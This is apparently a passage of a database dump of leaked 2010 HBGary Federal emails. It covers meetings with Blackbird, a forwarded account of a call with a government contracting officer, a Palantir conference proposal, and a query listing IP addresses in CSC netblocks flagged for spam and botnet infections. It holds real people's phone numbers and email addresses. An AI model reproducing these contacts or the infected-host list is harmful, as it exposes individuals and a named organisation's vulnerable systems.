die?','Yes.  Call back in a bit\r\n\r\nSent from my iPad\r\n\r\nOn Jun 28, 2010, at 5:25 PM, Ted Vera  wrote:\r\n\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',7747,'aaron_hbgary_com/7747.html'),(7908,'2010-06-28','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297006131.M770454P14101Q2763.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','RE: Blackbird Meetings','\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron &#8211; how&#8217;s Friday at 10:30AM here in our spaces?\r\n&nbsp;\r\nAlso, can you come prepared to discuss FastDump from a technical standpoint?&nbsp; We&#8217;re contemplating licensing that for inclusion into a\r\n forensics tool we already market. &nbsp;We think there may be some interest from our customers in including RAM capture. &nbsp;The question we have is, does FastDump have to install and run a separate application on the target platform?\r\n&nbsp;\r\nDon\r\n&nbsp;\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Monday, June 28, 2010 3:29 PM\r\nTo: Bailey, Don\r\nSubject: Re: Blackbird Meetings\r\n\r\n&nbsp;\r\n\r\nFriday is good. &nbsp;Look forward to it.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\nOn Jun 28, 2010, at 3:25 PM, &quot;Bailey, Don&quot; &lt;dbailey@BlackbirdTech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron &#8211; how does your schedule this Friday look? &nbsp;I&#8217;ve spoken to several folks here based on our discussion\r\n at dinner last week and this coming Friday looks like the best bet for getting some of your issues addressed. &nbsp;Let me know what times are available for you and I&#8217;ll schedule something. &nbsp;Fyi, Peggy Styer (President, Blackbird Technologies) would like to meet\r\n you.\r\n&nbsp;\r\nDon\r\n&nbsp;\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',377,'aaron_hbgary_com/377.html'),(7909,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006131.M987476P14101Q2764.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','COIN','I just got off the phone with COIN COTR, Rich.  He was very friendly\r\nand talkative.  We chatted for about 10 mins, and spent most of the\r\ntime talking about personal things, progress on my doctorate (which\r\nhe\'s very interested in, having a PHD himself).\r\n\r\nHe mentioned that he can\'t go into any specific procurement details\r\nbecause he just signed a pre-solicitation \"gag order\" a few days ago.\r\nBut he did offer that they are currently still working on the RFP.  He\r\nsaid they are way behind the power-curve and doesn\'t think it will be\r\nreleased until Sept or Oct realistically.\r\n\r\nI mentioned that I \"understood\" that NG was given a six month\r\nextension (from March 4, 2010 till Sept 4, 2010).  So if the RFP isn\'t\r\nexpected to be out until then, I imagine that they will likely give NG\r\nanother extension.  He said if the dates I mentioned are correct, then\r\nthat would most likely be the case.\r\n\r\nTed\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12778,'aaron_hbgary_com/12778.html'),(7910,'2010-06-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006132.M194700P14101Q2765.eml','\"Al Pisani\" <albert.pisani@tasc.com>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>,\"Kathy Garcia\" <KATHERINE.GARCIA@tasc.com>,\"Raymond Heider\" <raymond.heider@ngc.com>','Fwd: COIN','FYI on COIN.From my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: June 28, 2010 5:47:53 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Cc: mark@hbgary.com\r\nSubject: COINI just got off the phone with COIN COTR, Rich.  He was very friendlyand talkative.  We chatted for about 10 mins, and spent most of the\r\ntime talking about personal things, progress on my doctorate (whichhe&#39;s very interested in, having a PHD himself).He mentioned that he can&#39;t go into any specific procurement details\r\nbecause he just signed a pre-solicitation &quot;gag order&quot; a few days ago.But he did offer that they are currently still working on the RFP.  Hesaid they are way behind the power-curve and doesn&#39;t think it will be\r\nreleased until Sept or Oct realistically.I mentioned that I &quot;understood&quot; that NG was given a six monthextension (from March 4, 2010 till Sept 4, 2010).  So if the RFP isn&#39;t\r\nexpected to be out until then, I imagine that they will likely give NGanother extension.  He said if the dates I mentioned are correct, thenthat would most likely be the case.\r\nTed-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',3708,'aaron_hbgary_com/3708.html'),(7911,'2010-06-28','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','/aaron@hbgary.com/new/1297006132.M578943P14101Q2766.eml','aaron@hbgary.com','Re: Fwd: COIN','\r\nThanks. This is good info. Ray\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Pisani, Albert A. (TASC); Clair, Chris (TASC); Garcia, Kathy (TASC); Heider, Raymond A (TASC)Sent: Mon Jun 28 16:58:24 2010Subject: Fwd: COIN\r\nFYI on COIN.From my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: June 28, 2010 5:47:53 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Cc: mark@hbgary.com\r\nSubject: COINI just got off the phone with COIN COTR, Rich.  He was very friendlyand talkative.  We chatted for about 10 mins, and spent most of the\r\ntime talking about personal things, progress on my doctorate (whichhe&#39;s very interested in, having a PHD himself).He mentioned that he can&#39;t go into any specific procurement details\r\nbecause he just signed a pre-solicitation &quot;gag order&quot; a few days ago.But he did offer that they are currently still working on the RFP.  Hesaid they are way behind the power-curve and doesn&#39;t think it will be\r\nreleased until Sept or Oct realistically.I mentioned that I &quot;understood&quot; that NG was given a six monthextension (from March 4, 2010 till Sept 4, 2010).  So if the RFP isn&#39;t\r\nexpected to be out until then, I imagine that they will likely give NGanother extension.  He said if the dates I mentioned are correct, thenthat would most likely be the case.\r\nTed-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',2555,'aaron_hbgary_com/2555.html'),(7912,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006132.M785909P14101Q2767.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Sources Sought','I sent the link to this total small biz opp earlier today, here are the highlights:Systems Engineering Program SupportSolicitation Number: WHSAPO062820101018Agency: Other Defense Agencies\r\nOffice: Washington Headquarters ServicesLocation: WHS, Acquisition and Procurement Officehttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=8aef0a9fe742810f16ea5efc567e6b72&amp;tab=core&amp;_cview=0\r\nSources Sought due 7/12/2010The anticipated total period of performance for this requirement is five (5) years, a base year, and four (4) one-year options. Services are to commence no later than December 2010.\r\nWe may want to look through the &quot;Interested Parties&quot; for potential team-mates since we only really have expertise in one or two of the many areas listed:Excerpt:Systems Engineering Program Support, Policy and Guidance Support, Advanced Practices, Strategic Studies, Cyber Security and Program Protection, Organizational and Capability Development and Assessment, and Organizational Management. Program Support includes Systems Engineering Oversight of Major Defense Acquisition Programs (MDAPs) and Major Automated Information Systems through Program Support Reviews, Non-Advocate Reviews, Nunn-McCurdy Certifications, Defense Acquisition Executive Summaries and advising the Defense Acquisition Board and Overarching Integrated Product Teams. Other program-related activities include support of Acquisition Documentation Development/Review/Coordination, Development Planning, Technical Reviews and SE IPTs. Policy and Guidance Support includes the integration of Systems Engineering into DOD policy by supporting the updating of DODI 5000.2, maintenance of a Defense Acquisition Guidebook, preparation of Systems Engineering Plan and Program Protection Plan Preparation Guides, and other Systems Engineering and Development Planning guidance. Advanced Practices support includes developing new processes and methods and tools to improve program protection and system assurance of MDAPs. Advanced Practices work also includes technical support related to Global Information Grid policy and oversight of key programs as well as IT Standard and Interoperability Committee and Policy support. Organizational and Capability Development and Assessment consists of advocacy, oversight and guidance to elements of the acquisition workforce responsible for systems engineering, development planning, and lifecycle management and sustainment functions as well as identifying needed changes or improvements. Organizational Management consists of daily operational support for technical and business support functions and processes necessary for all operations and product development including support of: NSPS Personnel System management, action tracking, hiring processes, continuous process improvement, technical editing, executive assistance and administrative routing of action packages. \r\nInterested, qualified small business organizations should submit a tailored capability statement for this requirement, not to exceed 20 single-sided pages (including all attachments, resumes, charts, etc.) presented in single-space and using a 12-point font size minimum that clearly details their capability to perform the aspects of the notice described above. Standard brochures and paraphrasing of the SOW will not be considered a sufficient response to this notice. All proprietary information should be marked as such. Capability statements must specify the small business type and size under the eligible small business concern’s name and address on the first page of the document. Responses will be reviewed only by A&amp;PO and OSD personnel and will be held in a confidential manner. Feedback or evaluation information will not be provided to any firm regarding their individual capability statements. All capability statements sent in response to this SOURCES SOUGHT Notice must be submitted electronically (via e-mail) to Mercedies Williams, Contract Specialist, at mercedies.williams.ctr@whs.mil in MS Word or Adobe Portable Document Format (PDF) by July 12, 2010 at 2:00 PM local time. All responses must be received by the specified due date and time in order to be considered.\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15155,'aaron_hbgary_com/15155.html'),(7913,'2010-06-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006133.M282932P14101Q2769.eml','all@hbgary.com','Chark is a pleasure to work with','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEverybody,\r\n\r\n&nbsp;\r\n\r\nI just want to put out the word that Chark does a great job\r\nin support.&nbsp; Being in sales I rely on him for many things, and he always comes\r\nthrough with a no problem attitude and nails it.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11288,'aaron_hbgary_com/11288.html'),(7914,'2010-06-28','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006133.M28899P14101Q2768.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: RSA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNever got a response on this.&nbsp;\r\nWaddah think?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matthew Steckman \r\nSent: Thursday, June 24, 2010 4:45 PM\r\nTo: \'Aaron Barr\'\r\nCc: Eli Bingham; Shreyas Vijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPalantir and HBGary (and maybe SecDev) tag team\r\nan RSA speakers submission (due July 9 btw) entitled something like, &#8220;Cyber IS\r\nan Intelligence Problem, NOT an IT Problem: Redefining the Problem Set&#8221;\r\n(horrible title I know)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe goal here would be to take a technical\r\nproblem (maybe one of Greg&#8217;s or SecDev&#8217;s pet projects), present the technical\r\nfindings in Part I of the prezo, then flip gears in Part II to present it as an\r\nIntelligence problem (using Palantir for the presentation)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe need to be careful to remove all marketing\r\nlanguage from the submission as they apparently don&#8217;t take kindly to that\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe obviously have a ton of time to do the work\r\nwhich could be split between all of us (we could even set up a hosted Palantir\r\ninstance to do the research a la Project Grey Goose)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe would want to play up our Intel community\r\nbona fides and your technical prowess/name brand\r\n\r\n&nbsp;\r\n\r\nMy 4 colleagues CCed and myself are basically all of Palantir&#8217;s\r\n&#8220;Cyber Team&#8221;.&nbsp; I&#8217;ll now open this thread up for comments.&nbsp; If HBGary\r\nis in we can set up a quick brainstorming session.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5034,'aaron_hbgary_com/5034.html'),(7915,'2010-06-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006133.M713954P14101Q2770.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','CSC','Hi Bob,The CSC query is huge.  Even with Mark&#39;s multi-threaded v2.0 app it&#39;s taking quite a while.  The query should be complete tomorrow.  Here are the results so far (I&#39;ll send the final once complete):\r\nNetblocks Queried:192.132.103.0;192.132.103.255\r\n192.146.103.0;192.146.103.255\r\n171.73.0.0;171.73.255.255\r\n207.240.0.0;207.240.255.255\r\n128.11.0.0;128.11.255.255\r\n128.167.0.0;128.167.255.255\r\n148.153.0.0;148.153.255.255\r\n192.86.19.0;192.86.19.255\r\n192.86.20.0;192.86.20.255\r\n199.201.219.0;199.201.219.255\r\n204.57.101.128;204.57.101.191\r\n204.57.78.176;204.57.78.191\r\n192.148.195.0;192.148.195.255\r\n209.211.170.160;209.211.170.191\r\n63.239.181.192;63.239.181.223\r\n20.0.0.0;20.255.255.255\r\n65.102.210.176;65.102.210.183\r\n65.172.193.16;65.172.193.23\r\n64.128.103.48;64.128.103.63\r\n166.49.27.192;166.49.27.199\r\n66.100.200.0;66.100.200.255\r\n209.187.227.0;209.187.227.255\r\n216.5.194.216;216.5.194.223\r\n216.83.165.112;216.83.165.119\r\n65.196.8.0;65.196.8.255\r\n65.220.62.0;65.220.63.255\r\n67.71.227.0;67.71.227.7\r\n208.45.137.48;208.45.137.55\r\n208.45.140.0;208.45.140.63\r\n64.238.197.144;64.238.197.151\r\n64.238.197.136;64.238.197.143\r\n64.238.203.0;64.238.203.255\r\n64.238.204.0;64.238.204.255\r\n74.205.227.64;74.205.227.71\r\n66.93.246.120;66.93.246.127\r\n64.148.29.176;64.148.29.183\r\n66.93.247.96;66.93.247.103\r\n66.100.83.0;66.100.83.255Results:\r\nIP : 171.73.32.42\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 19 11:59:00 2009 GMT\r\n\r\nIP : 171.73.36.87\r\nConfidence : 20.345094%\r\nEvents : \r\n	Spam : Fri Jan  8 19:59:00 2010 GMT\r\n\r\nIP : 171.73.53.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 21:59:00 2009 GMT\r\n\r\nIP : 171.73.77.123\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 14:59:00 2009 GMT\r\n\r\nIP : 171.73.79.150\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  9 14:59:00 2009 GMT\r\n\r\nIP : 171.73.112.175\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 20 19:59:00 2009 GMT\r\n\r\nIP : 171.73.115.191\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 05:59:00 2009 GMT\r\n\r\nIP : 171.73.118.101\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 02:59:00 2009 GMT\r\n\r\nIP : 171.73.120.236\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 13:59:00 2009 GMT\r\n\r\nIP : 171.73.227.61\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 16:59:00 2009 GMT\r\n\r\nIP : 171.73.239.43\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 04:59:00 2009 GMT\r\n\r\nIP : 171.73.248.177\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 207.240.83.63\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 25 03:59:00 2009 GMT\r\n\r\nIP : 207.240.88.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 07:59:00 2009 GMT\r\n\r\nIP : 207.240.112.68\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 08:59:00 2009 GMT\r\n\r\nIP : 207.240.210.44\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 18 06:59:00 2009 GMT\r\n\r\nIP : 207.240.225.211\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 11:59:00 2009 GMT\r\n\r\nIP : 207.240.233.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 12:59:00 2009 GMT\r\n\r\nIP : 128.11.0.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan  7 06:59:00 2009 GMT\r\n\r\nIP : 128.11.35.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 16:59:00 2009 GMT\r\n\r\nIP : 128.11.71.42\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 128.11.140.35\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 128.11.224.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 08:59:00 2009 GMT\r\n\r\nIP : 128.167.35.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 21:59:00 2009 GMT\r\n\r\nIP : 128.167.37.92\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 28 05:59:00 2009 GMT\r\n\r\nIP : 128.167.40.254\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 12:59:00 2009 GMT\r\n\r\nIP : 128.167.48.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 128.167.52.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 128.167.56.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 16:59:00 2009 GMT\r\n\r\nIP : 128.167.59.37\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 16 20:59:00 2009 GMT\r\n\r\nIP : 128.167.60.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb  7 00:59:00 2009 GMT\r\n\r\nIP : 128.167.72.244\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 27 12:59:00 2009 GMT\r\n\r\nIP : 128.167.73.122\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 128.167.91.207\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 21:59:00 2009 GMT\r\n\r\nIP : 128.167.93.78\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 00:59:00 2009 GMT\r\n\r\nIP : 128.167.94.65\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 15:59:00 2009 GMT\r\n\r\nIP : 128.167.106.194\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 03:59:00 2009 GMT\r\n\r\nIP : 128.167.108.178\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 04:59:00 2009 GMT\r\n\r\nIP : 128.167.115.199\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 13:59:00 2009 GMT\r\n\r\nIP : 128.167.134.152\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 03:59:00 2009 GMT\r\n\r\nIP : 128.167.188.165\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 14:59:00 2009 GMT\r\n\r\nIP : 128.167.201.197\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 19:59:00 2009 GMT\r\n\r\nIP : 128.167.208.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  1 23:59:00 2009 GMT\r\n\r\nIP : 128.167.209.27\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 19 12:59:00 2009 GMT\r\n\r\nIP : 128.167.244.82\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 09:59:00 2009 GMT\r\n\r\nIP : 148.153.35.130\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 04:59:00 2009 GMT\r\n\r\nIP : 148.153.67.164\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 148.153.68.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 18:59:00 2009 GMT\r\n\r\nIP : 148.153.75.47\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 16:59:00 2009 GMT\r\n\r\nIP : 148.153.84.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 07:59:00 2009 GMT\r\n\r\nIP : 148.153.98.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 07:59:00 2009 GMT\r\n\r\nIP : 148.153.104.60\r\nConfidence : 18.790223%\r\nEvents : \r\n	Spam : Mon Jan  4 05:59:00 2010 GMT\r\n\r\nIP : 148.153.209.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 07:59:00 2009 GMT\r\n\r\nIP : 148.153.220.164\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 18 11:59:00 2009 GMT\r\n\r\nIP : 148.153.230.101\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 12:59:00 2009 GMT\r\n\r\nIP : 148.153.237.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 16:59:00 2009 GMT\r\n\r\nIP : 148.153.250.182\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 204.57.101.130\r\nConfidence : 61.657224%\r\nEvents : \r\n	Conficker A/B : Thu Apr  8 15:20:30 2010 GMT\r\n\r\nIP : 20.0.0.23\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 01:59:00 2009 GMT\r\n\r\nIP : 20.0.0.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 27 19:59:00 2009 GMT\r\n\r\nIP : 20.0.0.57\r\nConfidence : 72.061958%\r\nEvents : \r\n	Kraken : Sun May 16 17:17:43 2010 GMT\r\n\r\nIP : 20.0.0.59\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jun  6 22:59:00 2009 GMT\r\n\r\nIP : 20.0.0.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu May 21 13:59:00 2009 GMT\r\n\r\nIP : 20.0.1.31\r\nConfidence : 32.711239%\r\nEvents : \r\n	Mariposa : Tue Feb 23 12:11:12 2010 GMT\r\n\r\nIP : 20.0.1.252\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jun  1 17:59:00 2009 GMT\r\n\r\nIP : 20.0.43.179\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 23:59:00 2009 GMT\r\n\r\nIP : 20.0.45.254\r\nConfidence : 34.686412%\r\nEvents : \r\n	Mariposa : Wed Mar  3 14:54:37 2010 GMT\r\n\r\nIP : 20.0.51.3\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jun  1 20:59:00 2009 GMT\r\n\r\nIP : 20.0.63.168\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 06:59:00 2009 GMT\r\n\r\nIP : 20.0.94.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 06:59:00 2009 GMT\r\n\r\nIP : 20.0.112.134\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 11 13:59:00 2009 GMT\r\n\r\nIP : 20.0.119.175\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 21:59:00 2009 GMT\r\n\r\nIP : 20.0.149.209\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 01:59:00 2009 GMT\r\n\r\nIP : 20.0.152.224\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 11:59:00 2009 GMT\r\n\r\nIP : 20.0.154.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 22:59:00 2009 GMT\r\n\r\nIP : 20.0.168.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 14:59:00 2009 GMT\r\n\r\nIP : 20.0.219.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 00:59:00 2009 GMT\r\n\r\nIP : 20.0.229.8\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 00:59:00 2009 GMT\r\n\r\nIP : 20.0.246.46\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 02:59:00 2009 GMT\r\n\r\nIP : 20.1.1.20\r\nConfidence : 64.408021%\r\nEvents : \r\n	Mariposa : Sat Apr 17 08:53:30 2010 GMT\r\n\r\nIP : 20.1.1.30\r\nConfidence : 73.650127%\r\nEvents : \r\n	Mariposa : Tue May 25 16:19:52 2010 GMT\r\n\r\nIP : 20.1.1.48\r\nConfidence : 99.990889%\r\nEvents : \r\n	Mariposa : Mon Jun  7 04:22:13 2010 GMT\r\n\r\nIP : 20.1.1.55\r\nConfidence : 35.172535%\r\nEvents : \r\n	Mariposa : Fri Mar  5 18:14:18 2010 GMT\r\n\r\nIP : 20.1.1.166\r\nConfidence : 72.528069%\r\nEvents : \r\n	Mariposa : Wed May 19 05:59:34 2010 GMT\r\n\r\nIP : 20.1.1.196\r\nConfidence : 72.536004%\r\nEvents : \r\n	Mariposa : Wed May 19 06:10:35 2010 GMT\r\n\r\nIP : 20.1.1.230\r\nConfidence : 68.008323%\r\nEvents : \r\n	Mariposa : Thu Apr 29 18:12:58 2010 GMT\r\n\r\nIP : 20.1.1.250\r\nConfidence : 69.185249%\r\nEvents : \r\n	Kraken : Tue May  4 06:33:27 2010 GMT\r\n\r\nIP : 20.1.6.10\r\nConfidence : 65.509933%\r\nEvents : \r\n	Mariposa : Tue Apr 20 23:42:20 2010 GMT\r\n\r\nIP : 66.93.247.98\r\nConfidence : 31.194337%\r\nEvents : \r\n	Zeus : Fri Feb 19 21:21:04 2010 GMT\r\n\r\nIP : 20.1.80.98\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 02:59:00 2009 GMT\r\n\r\nIP : 20.1.132.144\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 04:59:00 2009 GMT\r\n\r\nIP : 20.2.1.139\r\nConfidence : 62.017702%\r\nEvents : \r\n	Mariposa : Mon Apr 12 06:27:28 2010 GMT\r\n\r\nIP : 20.2.5.170\r\nConfidence : 61.025594%\r\nEvents : \r\n	Spam : Fri Apr  9 07:59:00 2010 GMT\r\n\r\nIP : 20.2.99.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Dec  3 04:59:00 2009 GMT\r\n\r\nIP : 20.2.109.62\r\nConfidence : 19.319836%\r\nEvents : \r\n	Spam : Fri Jan  8 14:59:00 2010 GMT\r\n\r\nIP : 20.2.212.34\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 00:59:00 2009 GMT\r\n\r\nIP : 20.3.1.57\r\nConfidence : 29.437747%\r\nEvents : \r\n	Mariposa : Sat Feb 13 10:15:22 2010 GMT\r\n\r\nIP : 20.3.1.202\r\nConfidence : 68.298225%\r\nEvents : \r\n	Kraken : Mon May  3 09:03:02 2010 GMT\r\n\r\nIP : 20.3.7.10\r\nConfidence : 34.436384%\r\nEvents : \r\n	Mariposa : Fri Mar  5 05:38:48 2010 GMT\r\n\r\nIP : 20.3.104.184\r\nConfidence : 32.50311%\r\nEvents : \r\n	Spam : Thu Feb 25 21:59:00 2010 GMT\r\n\r\nIP : 20.3.119.20\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 07:59:00 2009 GMT\r\n\r\nIP : 20.3.144.102\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 06:59:00 2009 GMT\r\n\r\nIP : 20.3.200.85\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 09:59:00 2009 GMT\r\n\r\nIP : 20.3.235.43\r\nConfidence : 10%\r\nEvents : \r\n	